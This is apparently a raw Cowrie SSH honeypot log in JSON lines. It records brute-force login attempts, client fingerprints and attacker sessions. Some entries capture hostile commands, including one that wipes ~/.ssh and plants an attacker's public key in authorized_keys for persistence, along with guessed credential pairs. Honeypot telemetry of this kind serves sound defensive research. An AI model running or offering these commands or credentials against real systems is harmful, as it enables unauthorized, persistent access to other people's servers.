{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:46:46.180368Z","src_ip":"2.57.122.208","session":"d6750ee93c91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.119.112.132","src_port":47942,"dst_ip":"159.203.135.109","dst_port":22,"session":"11e796a0bb92","protocol":"ssh","message":"New connection: 135.119.112.132:47942 (159.203.135.109:22) [session: 11e796a0bb92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:46:46.350929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:46:46.357025Z","src_ip":"135.119.112.132","session":"11e796a0bb92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:46:46.394816Z","src_ip":"135.119.112.132","session":"11e796a0bb92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.119.112.132","src_port":47952,"dst_ip":"159.203.135.109","dst_port":22,"session":"16bbb737d28d","protocol":"ssh","message":"New connection: 135.119.112.132:47952 (159.203.135.109:22) [session: 16bbb737d28d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:46:46.511356Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_159.203.135.109_22","message":"Remote SSH version: MGLNDD_159.203.135.109_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:46:46.517403Z","src_ip":"135.119.112.132","session":"16bbb737d28d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:46:46.519876Z","src_ip":"135.119.112.132","session":"16bbb737d28d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:46:46.587703Z","src_ip":"2.57.122.208","session":"d6750ee93c91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:46:47.712930Z","src_ip":"2.57.122.208","session":"d6750ee93c91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:46:56.357790Z","src_ip":"135.119.112.132","session":"11e796a0bb92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.134.9.27","src_port":49576,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b5bd2d49bb2","protocol":"ssh","message":"New connection: 45.134.9.27:49576 (159.203.135.109:22) [session: 3b5bd2d49bb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:46:58.094322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:46:58.098909Z","src_ip":"45.134.9.27","session":"3b5bd2d49bb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:46:58.163728Z","src_ip":"45.134.9.27","session":"3b5bd2d49bb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhao","password":"12345","message":"login attempt [zhao/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:46:58.457634Z","src_ip":"45.134.9.27","session":"3b5bd2d49bb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:46:59.525134Z","src_ip":"45.134.9.27","session":"3b5bd2d49bb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.72.185","src_port":51716,"dst_ip":"159.203.135.109","dst_port":22,"session":"5018769d4ee3","protocol":"ssh","message":"New connection: 34.81.72.185:51716 (159.203.135.109:22) [session: 5018769d4ee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:06.194466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:06.198917Z","src_ip":"34.81.72.185","session":"5018769d4ee3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:06.390883Z","src_ip":"34.81.72.185","session":"5018769d4ee3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Xs123456","message":"login attempt [root/Xs123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:07.191526Z","src_ip":"34.81.72.185","session":"5018769d4ee3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:07.687995Z","src_ip":"34.81.72.185","session":"5018769d4ee3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:07.691207Z","src_ip":"34.81.72.185","session":"5018769d4ee3","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:07.693759Z","src_ip":"34.81.72.185","session":"5018769d4ee3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:07.887717Z","src_ip":"34.81.72.185","session":"5018769d4ee3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:08.312944Z","src_ip":"34.81.72.185","session":"5018769d4ee3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:08.316291Z","src_ip":"34.81.72.185","session":"5018769d4ee3","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:08.513104Z","src_ip":"34.81.72.185","session":"5018769d4ee3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:08.516749Z","src_ip":"34.81.72.185","session":"5018769d4ee3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.72.185","src_port":51724,"dst_ip":"159.203.135.109","dst_port":22,"session":"12521b9165d2","protocol":"ssh","message":"New connection: 34.81.72.185:51724 (159.203.135.109:22) [session: 12521b9165d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:08.698060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:08.702219Z","src_ip":"34.81.72.185","session":"12521b9165d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:08.891740Z","src_ip":"34.81.72.185","session":"12521b9165d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:09.684872Z","src_ip":"34.81.72.185","session":"12521b9165d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:10.876582Z","src_ip":"34.81.72.185","session":"12521b9165d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.72.185","src_port":51728,"dst_ip":"159.203.135.109","dst_port":22,"session":"d145f655e36d","protocol":"ssh","message":"New connection: 34.81.72.185:51728 (159.203.135.109:22) [session: d145f655e36d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:11.071486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:11.076453Z","src_ip":"34.81.72.185","session":"d145f655e36d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:11.270829Z","src_ip":"34.81.72.185","session":"d145f655e36d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:12.080452Z","src_ip":"34.81.72.185","session":"d145f655e36d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:12.274691Z","src_ip":"34.81.72.185","session":"5018769d4ee3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:12.280427Z","src_ip":"34.81.72.185","session":"d145f655e36d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.187.200.190","src_port":44826,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c44ef9817fd","protocol":"ssh","message":"New connection: 172.187.200.190:44826 (10.17.0.5:22) [session: 0c44ef9817fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:17.757562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:17.762290Z","src_ip":"172.187.200.190","session":"0c44ef9817fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 